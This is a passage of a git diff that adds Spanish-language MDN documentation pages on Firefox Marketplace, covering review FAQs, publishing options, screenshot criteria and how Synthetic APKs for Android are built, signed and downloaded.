+<h3 dir="ltr" id="¿Qué_debo_hacer_si_tengo_problemas_con_una_aplicación" style="line-height: 1.38; margin-top: 14pt; margin-bottom: 4pt;"><strong style="background-color: transparent; color: #000000; font-family: arial; font-size: 17px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">¿Qué debo hacer si tengo problemas con una aplicación?</strong></h3>
+
+<p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Deberías contactar al desarrollador usando los botones "Correo de ayuda" o "Sitio de ayuda" para la aplicación en su página de listado en Marketplace. </span></p>
+
+<h3 dir="ltr" id="Soy_un_desarrollador_de_aplicaciones_¿cómo_puedo_responder_a_una_valoración" style="line-height: 1.38; margin-top: 14pt; margin-bottom: 4pt;"><strong style="background-color: transparent; color: #000000; font-family: arial; font-size: 17px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">Soy un desarrollador de aplicaciones, ¿cómo puedo responder a una valoración?</strong></h3>
+
+<p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Actualmente, esto no es posible.</span></p>
+
+<h3 dir="ltr" id="Soy_un_desarrollador_de_aplicaciones_¿puedo_borrar_valoraciones_o_puntuaciones_no_favorables" style="line-height: 1.38; margin-top: 14pt; margin-bottom: 4pt;"><strong style="background-color: transparent; color: #000000; font-family: arial; font-size: 17px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">Soy un desarrollador de aplicaciones, ¿puedo borrar valoraciones o puntuaciones no favorables?</strong></h3>
+
+<p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">En general, no. Pero si la valoración no cumplió con las normas de valoración delineadas arriba, puedes hacer clic en "Reportar esta valoración" y hacer que la moderen. Si una valoración incluía una queja que ya no es válida por una nueva versión de tu aplicación, podemos considerar borrar la valoración. Envía tu solicitud detallada a</span> <a href="https://groups.google.com/forum/#!forum/mozilla.appreview" title="appreview@lists.mozilla.org">mozilla.appreview</a><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">.</span></p>
diff --git a/files/es/mozilla/marketplace/options/introducción/index.html b/files/es/mozilla/marketplace/options/introducción/index.html
new file mode 100644
index 0000000000..d1ab1399f5
--- /dev/null
+++ b/files/es/mozilla/marketplace/options/introducción/index.html
@@ -0,0 +1,37 @@
+---
+title: Introducción — Opciones de Publicación
+slug: Mozilla/Marketplace/Options/Introducción
+tags:
+  - Apps
+  - Firefox OS
+  - Marketplace
+  - Principiantes
+  - introducción
+translation_of: Archive/Mozilla/Marketplace/Options/Introduction
+---
+<div class="summary">
+<p>Firefox Marketplace proporciona un canal a través del cual usted puede publicar sus aplicaciones y hacerlas fácilmente descubiertas por los usuarios de Firefox OS, Firefox para Android y Firefox para escritorio. Sin embargo, no es la única opción que tiene para hacer sus aplicaciones disponibles. En esta sección, usted descubrirá los formatos en los que se pueden entregar sus aplicaciones, los mecanimos que hay en los navegadores Firefox para habilitad sus aplicaciones para dispositivos Android y PC de escritorio, como también las opciones para la publicación de sus propias apps y las formas en que usted puede crear su propio Marketplace.</p>
+</div>
+
+<h2 id="Opciones_de_publicación">Opciones de publicación</h2>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/Options/Packaged_apps">Aplicaciones Empaquetadas</a></dt>
+ <dd>Infórmese sobre el método predilecto para subir sus aplicaciones - el que le ofrece acceso privilegiado y APIs seguras.</dd>
+ <dt><a href="/en-US/Marketplace/Options/Hosted_apps">Aplicaciones alojada</a></dt>
+ <dd>Descubra cómo hacer que sus aplicaciones estén disponibles desde un servidor, mientras que le proporciona a los usuarios los beneficios de una aplicación instalada.</dd>
+ <dt><a href="/en-US/Marketplace/Options/Packaged_or_hosted_">¿Empaquetada o Alojada?</a></dt>
+ <dd>Utilice este checklist para determinar qué formato de entrega se adapta mejor a sus aplicaciones.</dd>
+ <dt><a href="/en-US/Marketplace/Options/Open_web_apps_for_android">Aplicaciones Web abiertas para Android</a></dt>
+ <dd>Tus aplicaciones del Marketplace están habilitadas para ser instaladas en Android como un APK. Permitiendo ser instaladas y utilizadas como los haría con cualquier otra Android ap. Descubre como se hace.</dd>
+ <dt><a href="/en-US/Marketplace/Options/Open_web_apps_for_desktop">Aplicaciones Web abiertas para Desktop</a></dt>
+ <dd>Tus aplicaciones web abiertas ahora pueden ser instaladas en Windows, Mac y Linux PC desde Firefox, para escritorio. Permitiéndote utilizarlas como cualquier otra aplicación del Escritorio. Descubre como se hace.</dd>
+ <dt><a href="/en-US/Marketplace/Options/Self_publishing">Publicando tus propias apps</a></dt>
+ <dd>En ocaciones es posible que desees publicar tus aplicaciones fuera del Firefox Marketplace, tal vez para que estén disponibles para las pruebas o la distribución en su empresa. Infórmate sobre las opciones que tiene y la forma de ponerlas en práctica.</dd>
+ <dt><a href="/en-US/Marketplace/Options/Creating_a_store">Creación de su propio Marketplace</a></dt>
+ <dd>Ya sea que usted publique sus aplicaciones en Firefox Marketplace, o puede publicarlas usted mismo, tiene un número de opciones para su presentación en una tienda. Esta sección examina las opciones y cómo ponerlas en práctica.</dd>
+ <dt> </dt>
+ <dd> </dd>
+</dl>
+
+<p> </p>
diff --git a/files/es/mozilla/marketplace/publish/index.html b/files/es/mozilla/marketplace/publish/index.html
new file mode 100644
index 0000000000..95c6ab34f7
--- /dev/null
+++ b/files/es/mozilla/marketplace/publish/index.html
@@ -0,0 +1,69 @@
+---
+title: Publicando en el Firefox Marketplace
+slug: Mozilla/Marketplace/Publish
+translation_of: Archive/Mozilla/Marketplace/Publish
+---
+<div class="summary">
+ <p>Documentos relacionados a la publicación de una aplicación en el Marketplace de Firefox.</p>
+</div>
+<div class="row topicpage-table">
+ <div class="section">
+  <dl>
+   <dt>
+    <a href="/en-US/Marketplace/Submission/Testing_and_troubleshooting">Prueba de aplicaciones y resolución de problemas</a></dt>
+   <dd>
+    Una ligera guía sobre pruebas y resolución de problemas que seguir antes de enviar tu aplicación al Marketplace de Firefox.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/Submitting_an_app">Enviando una aplicación al Marketplace de Firefox</a></dt>
+   <dd>
+    Esta guía paso a paso te ayudará a enviar tu aplicación con éxito al Marketplace de Firefox.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/Marketplace_review_criteria">Normas de revisión del Marketplace</a></dt>
+   <dd>
+    Una explicación de los criterios que una aplicación debe reunir a fin de ser publicada en el Marketplace de Firefox; siguiendo las normas expuestas en este artículo, puedes facilitar el proceso y conseguir que tu aplicación sea publicada.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/Marketplace_screenshot_criteria">Normas de capturas de pantalla en el Marketplace</a></dt>
+   <dd>
+    Normas para enviar capturas de pantalla junto a tu aplicación y maximizar su calidad e impacto en el Marketplace.</dd>
+  </dl>
+ </div>
+ <div class="section">
+  <h5 class="Tools" id="Tools" name="Tools">Tools for app developers</h5>
+<ul>
+    <li><a href="https://marketplace.firefox.com/developers/">Visit Firefox Marketplace Developer Hub</a></li>
+    <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS Simulator</a></li>
+    <li><a href="/en-US/docs/Apps/App_developer_tools">App developer tools</a></li>
+</ul>
+<h5 class="Documentation" id="Documentation" name="Documentation">Technology reference documentation</h5>
+<div class="twocolumns">
+    <ul>
+        <li><a href="/en-US/docs/Web/CSS">CSS</a></li>
+        <li><a href="/en-US/docs/DOM">DOM</a></li>
+        <li><a href="/en-US/docs/Web/HTML">HTML</a></li>
+        <li><a href="/en-US/docs/JavaScript">JavaScript</a></li>
+        <li><a href="/en-US/docs/WebAPI">WebAPI</a></li>
+        <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li>
+        <li><a href="/en-US/docs/SVG">SVG</a></li>
+        <li><a href="https://www.mozilla.org/en-US/apps/">Open Web Apps overview site</a></li>
+        <li><a href="https://wiki.mozilla.org/Apps">Apps project wiki page</a></li>
+    </ul>
+</div>
+<h5 class="Community" id="Community" name="Community">Getting help from the community</h5>
+<p>If you still aren't sure how to do what you're trying to get done, feel free to join the conversation!</p>
+<ul>
+    <li>Consult the webapps forum: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-webapps"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps/feeds"> como RSS</a></li>
+</ul>
+        <ul>
+            <li>Ask your question on the Open Web Apps IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
+        </ul>
+    </li>
+</ul>
+<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" rel="external">Don't forget about the <em>netiquette</em>...</a></span></p>
+ </div>
+</div>
+<p> </p>
diff --git a/files/es/mozilla/marketplace/publishing/index.html b/files/es/mozilla/marketplace/publishing/index.html
new file mode 100644
index 0000000000..e2b172a388
--- /dev/null
+++ b/files/es/mozilla/marketplace/publishing/index.html
@@ -0,0 +1,9 @@
+---
+title: Publishing
+slug: Mozilla/Marketplace/Publishing
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla/Marketplace/Publishing/Introduction
+---
+<p>Marketplace publishing</p>
diff --git a/files/es/mozilla/marketplace/publishing/marketplace_screenshot_criteria/index.html b/files/es/mozilla/marketplace/publishing/marketplace_screenshot_criteria/index.html
new file mode 100644
index 0000000000..59d3e0ac04
--- /dev/null
+++ b/files/es/mozilla/marketplace/publishing/marketplace_screenshot_criteria/index.html
@@ -0,0 +1,78 @@
+---
+title: Marketplace screenshot criteria
+slug: Mozilla/Marketplace/Publishing/Marketplace_screenshot_criteria
+translation_of: >-
+  Archive/Mozilla/Marketplace/Publishing/Policies_and_Guidelines/Marketplace_screenshot_criteria
+---
+<div class="summary">
+ <p><span class="seoSummary">Cuando submitting an app to the Firefox Marketplace, you will be asked to provide one or more screenshots as part of the submission process. The Marketplace has some basic criteria for such screenshots which, while not strictly enforced, should serve as a guideline.</span> Apps which provide no screenshots that meet the criteria in this document may be asked to submit new screenshots.</p>
+</div>
+<h2 id="Screenshot_Overview">Screenshot Overview</h2>
+<ul>
+ <li>Screenshots that you upload will appear on
+  <ul>
+   <li>Individual app pages</li>
+   <li>Featured app areas, when your app is promoted by an editor or curator</li>
+   <li>Various lists and feeds within the Marketplace</li>
+  </ul>
+ </li>
+ <li>The Marketplace accepts between 1 and 6 screenshots for 3 different form factors:
+  <ul>
+   <li>Phone (portrait or landscape)</li>
+   <li>Tablet</li>
+   <li>Desktop (usually 1024x768 or larger)</li>
+  </ul>
+ </li>
+ <li>For each form factor that your app supports, a minimum of 1 screenshot should be provided.</li>
+</ul>
+<h2 id="Quality_Guidelines">Quality Guidelines</h2>
+<ul>
+ <li>Show your app in the best possible light: demonstrate its capabilities</li>
+ <li>Always remove the status bar, if possible</li>
+ <li>Screenshots from a device are preferred to screenshots from a simulator or emulator</li>
+ <li>Avoid placing the app inside the image of a device or a desktop
+  <ul>
+   <li>Doing this forces the app interface to scale down, making it more difficult to see</li>
+   <li>The device or desktop interfaces that you show may not match what a user has</li>
+  </ul>
+ </li>
+ <li>Avoid "hands-on" photographs of phones, tablets, or monitors</li>
+ <li>Apps in the Marketplace will not be used inside a browser, so avoid showing browser chrome (toolbars, back/forward, address bar, etc.)</li>
+ <li>Use text minimally to explain the interface, not to advertise</li>
+ <li>Avoid graphic elements other than the app itself</li>
+ <li>Avoid borders or "filters"</li>
+ <li>Screenshots are displayed in the order that they're uploaded; put your best screenshots first</li>
+</ul>
+<p>In general, you should show the app, not its surroundings.</p>
+<h2 id="Sizes_and_Formats">Sizes and Formats</h2>
+<p>Screenshots are accepted in JPG and PNG format, though PNG-24 is preferred because of its lossless properties. If JPG is used, the screenshot should use minimal compression and use the highest quality settings.</p>
+<h3 id="Suggested_Sizes">Suggested Sizes</h3>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Form Factor</th>
+   <th scope="col">Suggested Resolutions</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Phone</td>
+   <td>multiples of 320x480, 720x1280, inverse/landscape ratios</td>
+  </tr>
+  <tr>
+   <td>Tablet</td>
+   <td>multiples of 1024x768, 1280x800</td>
+  </tr>
+  <tr>
+   <td>Desktop</td>
+   <td>multiples of 1280x800, 1440x900</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Examples">Examples</h2>
+<p>Do not include grahical elements other than the app itself, including ads or logos.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6313/no-ads.png" style="width: 640px; height: 360px;"></p>
+<p>Do not submit "hands-on" photos, or edit the screenshot onto a physical device.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6315/no-hand.png" style="width: 640px; height: 360px;"></p>
+<p>Do not submit screenshots that use simulated device borders, unnecessary text, or other unnecessary features.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6317/no-simulated-device.png" style="width: 640px; height: 360px;"></p>
diff --git a/files/es/mozilla/marketplace/publishing/open_web_apps_for_android/index.html b/files/es/mozilla/marketplace/publishing/open_web_apps_for_android/index.html
new file mode 100644
index 0000000000..c624a48e12
--- /dev/null
+++ b/files/es/mozilla/marketplace/publishing/open_web_apps_for_android/index.html
@@ -0,0 +1,133 @@
+---
+title: 'Open Web Apps for Android: Synthetic APKs'
+slug: Mozilla/Marketplace/Publishing/Open_web_apps_for_android
+translation_of: Archive/Marketplace/Options/Open_web_apps_for_android
+---
+<div class="summary">
+ <p>Los usuarios pueden instalar sus aplicaciones de Marketplace en el navegador de Firefox o Firefox OS, obteniendo el beneficio potentes funciones de web abierta. Sin embargo, para los usuarios de Android puede resultar más cómodo instalar sus aplicaciones como aplicaciones de Android 'normales'. Ahora eres capaz de ofrecer esta característica a los usuarios usando Synthetic APKs (también conocido como tiempo de ejecución de Web para Android), una solución disponible en <a href="https://marketplace.firefox.com/">Firefox Marketplace</a> que crea APKs nativas para la instalación en dispositivos Android.</p>
+</div>
+<h2 id="¿Qué_es_una_Synthetic_APK">¿Qué es una Synthetic APK?</h2>
+<p>Una Synthetic APK es una Open Web App contenida en un paquete de instalación de Android, que puede ser instalado y ejecutado del mismo modo que cualquier otra aplicación Android. El paquete APK consiste en contenido web (en el caso de aplicaciones empaquetadas) o un puntero a contenido web (en el caso de aplicaciones organizadas). Este contenido es después encerrado en una fina envoltura Java/Android que proporciona de integración en el Sistema Operativo nativo.</p>
+<p>Estos paquetes son creados por el <a href="https://github.com/mozilla/apk-factory-service">APK Factory Service</a> que es ejecutado como un servicio web por Marketplace. El APK Factory Service hace uso del <a href="https://github.com/mozilla/apk-factory-library">APK Factory Library</a> para crear el paquete real y del <a href="https://github.com/mozilla/apk-signer">APK Signer</a> para firmar digitalmente el APK. Este servicio está disponible para <a href="/en-US/Marketplace/Publishing/Creating_a_store">su propio Marketplace</a>, si decide crear uno.</p>
+<p>Usted no necesita ningún conocimiento de desarrolo Android, o adoptar medidas de desarrollo adicionales, para usar Synthetic APK: usted simplemente selecciona la opción APK al enviar sus aplicaciones al Marketplace.</p>
+<div class="note">
+ <p><strong>Nota</strong>: Synthetic APKs son soportadas por los dispositivos Android con Firefox 29 o superior instalado.</p>
+</div>
+<p>El tiempo de ejecución de Open Web App en Android sostiene 12 APIs para accedes a capacidades del dispositivo tales como vibración, geolocalización, estado de la batería, y más. Puede verse una<a href="https://wiki.mozilla.org/WebAPI#APIs"> lista completa de APIs soportadas aquí</a>: las APIs que muestran una "A" bajo "Availability" son aquellas APIs disponibles en Android, con elementos verdes indicando que la API está disponible en su totalidad. Usted puede colocar el puntero del ratón sobre los elementos individuales para obtener mensajes con más información.</p>
+<p>El tiempo de ejecución en Android continuará añadiendo soporte para otras APIs en futuras versiones. Algunas de las APIs planeadas son:</p>
+<ul>
+ <li>API de Alarma</li>
+ <li>SimplePush API</li>
+ <li>Actividades Web</li>
+</ul>
+<div class="note">
+ <p><strong>Nota</strong>: Los usuarios de Android pueden estar usando dispositivos con mayores resoluciones (DPI) y  mayores tamaños de pantalla que aquellos encontrados en los dispositivos con Firefox OS. Las aplicaciones que no han usado un diseño de respuesta puede que por ello proporcionen una experiencia pobre, y puede que usted quiera diseñar sus aplicaciones teniendo esto en mente.</p>
+</div>
+<h2 id="Uso_de_synthetic_APKs">Uso de synthetic APKs</h2>
+<p>Esta sección proporciona detalles en el modo en que usted elija para hacer uso de synthetic APKs, cómo afectan a la experiencia de Marketplace, e información sobre actualizaciones de las aplicaciones. </p>
+<h3 id="Activación_de_la_opción_synthetic_APK">Activación de la opción synthetic APK </h3>
+<p>Cuando usted <a href="/en-US/Marketplace/Submission/Submitting_an_app">envía una aplicación al Firefox Marketplace</a>, usted tiene la opción de hacer que su aplicación esté disponible como una aplicación "nativa" para dispositivos Android usando una synthetic APK.</p>
+<h3 id="Envío_una_aplicación">Envío una aplicación</h3>
+<p>Cuando usted envía una aplicación al al Marketplace el APK Factory Service es invocado para crear una synthetic APK firmada en modo de depuración de Android. Esta versión de la APK entonces se hace disponible para que los críticos de la aplicación completen el proceso normal de revisión. Una vez que la aplicación ha sido revisada y aprobada el APK Factory service es invocado de nuevo, esta vez para firmar la synthetic APK con una APK Signing Key única. La Synthetic APK firmada resultante es entonces almacenada en caché para la entrega cuando un usuario decide instalar la aplicación.</p>
+<h3 id="Instalación_de_una_synthetic_APK">Instalación de una synthetic APK</h3>
+<p>Una vez que su aplicación ha sido aprobada, cuando un usuario selecciona su aplicación en el Marketplace en su dispositivo Android la instalación se diferencia ligeramente del proceso habitual, como sigue:</p>
+<ol>
+ <li><a href="https://marketplace.firefox.com/">Firefox Marketplace</a> muestra la información de la aplicación y el botón de instalación como normalmente.</li>
+ <li>Cuando el usuatio selecciona instalar se muestra el diálogo de confirmación de instalación estándar de Marketplace. El diálogo lista los permisos requeridos por aplicaciones privilegiadas e información acerca de la necesidad de habilitar la opción de instalar aplicaciones de "fuentes desconocidas"; el Marketplace incluirá redacción para explicar cualquien duda que los usuarios puedan tener.</li>
+ <li>Cuando el usuario confirma que quiere continuar con la instalación, {{ domxref("Apps.install") }} / {{ domxref("Apps.installPackage") }} son invocados como usted esperaría (dependiendo de si se trata de una aplicación alojada o empaquetada), sin embargo en vez del proceso normal por el cual la versión Open Web APP es instalada, se realiza una llamada al APK Factory Service para solicitar la APK almacenada en caché. La synthetic APK es entonces descargada al dispositivo Android y el proceso de instalación de aplicación estándar de Android es invocado.</li>
+</ol>
+<p>Una vez que la synthetic APK ha sido instalada, el usuario encontrará la aplicación en su menú de aplicaciones y el proceso para usar y eliminar las aplicaciones será el mismo que esperaría de otras aplicaciones Android.</p>
+<h3 id="Mantener_las_aplicaciones_actualizadas">Mantener las aplicaciones actualizadas</h3>
+<p>El Marketplace y la APK Factory también proporcionan un mecanismo para actualizar su aplicación e informar a los usuarios de que la actualización está disponible.</p>
+<p>Si su aplicación está alojada, siempre que usted haga un cambio en su servidor los usuarios se enterarán de esos cambios la siguiente vez que ejecuten su aplicación. Si usted realiza un cambio visible en su aplicación. tal como realizar un cambio en el icono de la aplicación, tras detectar el número de versión actualizada en el manifiesto de la aplicación la APK Factory creará una APK actualizada y notificará a los usuarios de que una actualización está disponible.</p>
+<p>Para aplicaciones empaquetadas usted actualiza el contenido de la aplicación y envía un nuevo archivo empaquetado en zip y el manifiesto actualizado. La APK Factory recogerá esos cambios e informará a sus usuarios de que una aplicación actualizada se encuentra disponible.</p>
+<h2 id="Como_funciona_la_APK_Factory">Como funciona la APK Factory </h2>
+<p>Esta sección describe como la APK Factory crea synthetic APKs.</p>
+<ol>
+ <li>Cuando la APK factory es invocada, como se ha descrito anteriormente, detecta si la aplicación está alojada o empaquetada, entonces pide el archivo de manifiesto de la aplicación del servidor donde se halla alojada (el Firefox Marketplace, o cualquier otro lugar donde la aplicación está alojada):
+  <ul>
+   <li>El manifiesto principal en el caso de aplicaciones alojadas.</li>
+   <li>El manifiesto mini en el caso de aplicaciones empaquetadas.</li>
+  </ul>
+ </li>
+ <li>La APK factory ahora tiene la información que necesita acerca de la aplicación, y solicita:
+  <ul>
+   <li>La URL de almacenamiento de aplicaciones en el caso de aplicaciones alojadas.</li>
+   <li>El archivo zip de la aplicación del marketplace en el caso de aplicaciones empaquetadas.</li>
+  </ul>
+ </li>
+ <li>Ahora el APK Factory service crea la synthetic APK mediante la realización de la transcodificación de algunos metadatos para elementos tales como iconos y requerimientos de seguridad, entonces:
+  <ul>
+   <li>envolviendo la URL de alojamiento en un contenedor Android Java para aplicaciones alojadas.</li>
+   <li>envolviendo el contenido de la aplicación en un contenedor Android Java para aplicaciones empaquetadas.</li>
+  </ul>
+ </li>
+ <li>Una vez creada, la synthetic APK es firmada por un servicio <strong><a href="https://github.com/mozilla/apk-signer">APK Signer</a></strong> seguro:
+  <ul>
+   <li>Para "revisión" las APKs son firmadas en modo de depuración de Android.</li>
+   <li>For "lanzamiento" las APKs son firmadas con una <strong>APK signing key</strong>.</li>
+  </ul>
+ </li>
+ <li>Finalmente, la APK firmada es almacenada en caché para enviar a:
+  <ul>
+   <li>el proceso de revisión de aplicación.</li>
+   <li>un dispositivo Android cuando el usuario solicite su instalación desde Marketplace.</li>
+  </ul>
+ </li>
+</ol>
+<p>Los siguientes diagramas ofrecen una representación alternativa del flujo de trabajo de la APK Factory. Primero, una aplicación empaquetada:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/7315/synthapkflow-packaged.png" style="width: 540px; height: 522px; display: block; margin: 0px auto;"></p>
+<p>Ahora, para una aplicación alojada:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/7313/synthapkflow-hosted.png" style="width: 678px; height: 525px; margin: 0px auto; display: block;"></p>
+<h2 id="Nombramiento_de_paquetes_y_claves_de_firma_de_APK">Nombramiento de paquetes y claves de firma de APK</h2>
+<p>En la instalación de una synthetic APK el dispositivo Android comprueba el nombre y la firma del paquete Java. Verifica la firma la primera vez que una aplicación es instalada (no exixte una autoridad central con la que lo comprueba) y actualizaciones futuras deberán tener el mismo nombre y firma del paquete. Si el nombre y la firma del paquete no son los mismos el dispositivo Android no actualizará la instalación.</p>
+<h3 id="Nombramiento_de_paquetes">Nombramiento de paquetes</h3>
+<p>El nombre de paquete para una synthetic APK consiste en el sitio de alojamiento y un número de serie único, por ejemplo:</p>
+<ul>
+ <li>para una aplicación alojada: org.mykzilla.p362b12c70d0556c124908a3c125d3d02:</li>
+ <li>para una aplicación empaquetada: com.firefox.marketplace.p0604c71abc0d4091829d19be9a50453c</li>
+</ul>
+<h3 id="Claves_de_firma_de_APK">Claves de firma de APK</h3>
+<p>Cada APK necesita ser identificada por una clave de firma de APK antes de poder ser instalada en un dispositivo Android. Las claves de firma APK son creadas y son propiedad del servicio <strong><a href="https://github.com/mozilla/apk-signer">APK Signer</a></strong>. Estas claves de firma son inestables en sistema, y almacenadas de manera segura en el APK Signer, que es por lo que se considera "seguro".</p>
+<p>Este servicio crea una clave única para cada aplicación, aplicándola a la publicación inicial y a las actualizaciones subsiguientes. La reutilización de la clave en aplicaciones APK actualizadas es importante ya que sin una igualdad en el nombre del paquete y la clave Android no instalará una actualización sobre una versión anterior de la aplicación. Si usted crea su propia versión del Marketplace la APK conservará el mismo nombre y claves, por lo que cualquier versión podrá actualizar la otra.</p>
+<div class="note">
+ <p><strong>Nota</strong>: Mozilla no asume ninguna responsabilidad acerca de la credibilidad de las claves de firma de APK, refiriéndose a que las claves no proporcionen ninguna información acerca de la autenticidad de la aplicación o el desarrollador más allá de que han sido aprobados para su lanzamiento en Marketplace. El servicio no está vinculado a Google o alguna otra autoridad central.</p>
+</div>
+<h2 id="FAQ">FAQ</h2>
+<p>Aquí se encuentran las respuestas a algunas preguntas relizadas frecuentemente acerca de Synthetic APKs.</p>
+<h3 id="¿Qué_pasa_con_la_reinstalación_de_aplicaciones_instaladas_como_favoritas">¿Qué pasa con la reinstalación de aplicaciones instaladas como favoritas?</h3>
+<p>Esto no ha sido aún realizado totalmente, pero el comportamiento esperado es que el marcado de aplicaciones como favoritas dejará de funcionar cuando el usuario actualice a una versión de Firefox para Android con la implementación Synthetic APK (versión 29 o posterior). El usuario entonces tendrá que reinstalar sus aplicaciones para usarlas de nuevo.</p>
+<h3 id="¿Cómo_funcionarán_las_compras_in-app">¿Cómo funcionarán las compras in-app?</h3>
+<p>La APK tiene acceso a la interfaz de usuario de confianza, <a href="/en-US/docs/Web/API/Navigator.mozPay">mozPay</a>, y todos los procesos de pago para compras in-app, por lo que los pagos in-app funcionarán de manera normal.</p>
+<h3 id="¿Cómo_puedo_descargar_una_copia_de_la_APK_de_mi_aplicación">¿Cómo puedo descargar una copia de la APK de mi aplicación?</h3>
+<p>Usted puede descargar una copia de su aplicación usando using wget y el siguiente comando:</p>
+<p><code>https://controller.apk.firefox.com/application.apk?manifestUrl=ESCAPED_URL_TO_MANIFEST</code></p>
+<p>donde ESCAPED_URL_TO_MANIFEST es una URL escapada el manifiesto de la aplicación o mini-manifiesto. Esta URL hace que la APK Factory devuelve la copia almacenada en caché de la APK, o crea una nueva si la aplicación no ha sido enviada al Marketplace. Si la aplicación no ha sido enviada al Marketplace la APK es firmada en modo de depuración.</p>
+<h4 id="Ejemplos">Ejemplos</h4>
+<p>Para una aplicación alojada:</p>
+<p><code>&gt; wget https://controller.apk.firefox.com/application.apk?manifestUrl=http%3A%2F%2Fmykzilla.org%2Fapp%2Fmanifest.webapp -O mykzilla.apk<br>
+ &gt; aapt dump --values badging mykzilla.apk<br>
+ package: name='org.mykzilla.p362b12c70d0556c124908a3c125d3d02' versionCode='1395692586' versionName=''</code></p>
+<p>Para una aplicación empaquetada:</p>
+<p><code>&gt; wget https://controller.apk.firefox.com/application.apk?manifestUrl=https%3A%2F%2Fmarketplace.firefox.com%2Fapp%2Fa22e0277-35bc-434d-9371-1568c75fc726%2Fmanifest.webapp -O cuttherope.apk<br>
+ &gt; aapt dump --values badging cuttherope.apk<br>
+ package: name='com.firefox.marketplace.p0604c71abc0d4091829d19be9a50453c' versionCode='1394154656' versionName='1.3'</code></p>
+<h3 id="¿Puedo_generar_una_synthetic_APK_manualmente_desde_una_URL_diferente">¿Puedo generar una synthetic APK manualmente desde una URL diferente?</h3>
+<p>Sí puede, proporcionando la URL de cualquier ubicación de sus archivos de manifiesto o mini-manifiesto. No obstante, tenga cuidado con esto porque si la synthetic APK es generada desde una URL diferente el nombre de paquete será distinto del creado cuando usted envió la aplicación al Marketplace, por lo que la versión del Marketplace será instalada como una aplicación separada.</p>
+<h3 id="Si_configuro_mi_propia_versión_de_APK_Factory_¿puedo_usar_la_synthetic_APK_que_genera">Si configuro mi propia versión de APK Factory ¿puedo usar la synthetic APK que genera?</h3>
+<p>Usted puede, pero tenga cuidado porque las claves de firma serán diferentes de las asignadas a una versión de la synthetic APK generada por el Marketplace. Como resultado Android rechazará instalar la versión que el usuario intente instalar en segundo lugar. <span style="line-height: 1.5;">(Ver </span><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Open_web_apps_for_android#If_I_also_have_an_Android_native_version_of_my_app.2C_can_both_be_installed_on_an_Android_device.3F" style="line-height: 1.5;">Si también tengo una versión nativa de Android de mi aplicación, ¿pueden ambas ser instaladas en un dispositivo Android?</a><span style="line-height: 1.5;"> para más información.)</span></p>
+<h3 id="¿Puedo_enviar_una_synthetic_APK_a_Google_Play_o_a_otra_tienda_de_Android">¿Puedo enviar una synthetic APK a Google Play o a otra tienda de Android? </h3>
+<p>Usted puede enviar una synthetic APK a Google Play o a una tienda alternativa de Android. Sin embargo, es su responsabilidad:</p>
+<ul>
+ <li>Confirmar que su aplicación cumple las políticas de la tienda a la que usted la está enviando. La aprobación para distribución en Marketplace no implica una aprobación para Google Play u otro Marketplace Android.</li>
+ <li>Cuando usted actualice su Open Web App usted tendrá que actualizar la synthetic APK en todas las tiendas a las que usted haya enviado la APK, no hay un proceso automático para enviar APKs actualizadas a tiendas de Android.</li>
+</ul>
+<h3 id="¿Puedo_emplear_mis_claves_de_firma_Android_para_firmar_la_synthetic_APK_y_elegir_el_nombre_del_paquete">¿Puedo emplear mis claves de firma Android para firmar la synthetic APK y elegir el nombre del paquete?</h3>
+<p>Actualmente usted no puede usar sus propias clavez de firma para firmar una synthetic APK o elegir el nombre del paquete. Esta opción está siendo considerada. Si esto es de su interés, únase a la discusión en el <a href="https://lists.mozilla.org/listinfo/dev-marketplace">dev-marketplace mailing list</a>, o el <a href="irc://irc.mozilla.org/marketplace">Marketplace IRC channel</a>.</p>
+<h3 id="Si_también_tengo_una_versión_nativa_de_Android_de_mi_aplicación_¿pueden_ambas_ser_instaladas_en_un_dispositivo_Android">Si también tengo una versión nativa de Android de mi aplicación, ¿pueden ambas ser instaladas en un dispositivo Android?</h3>
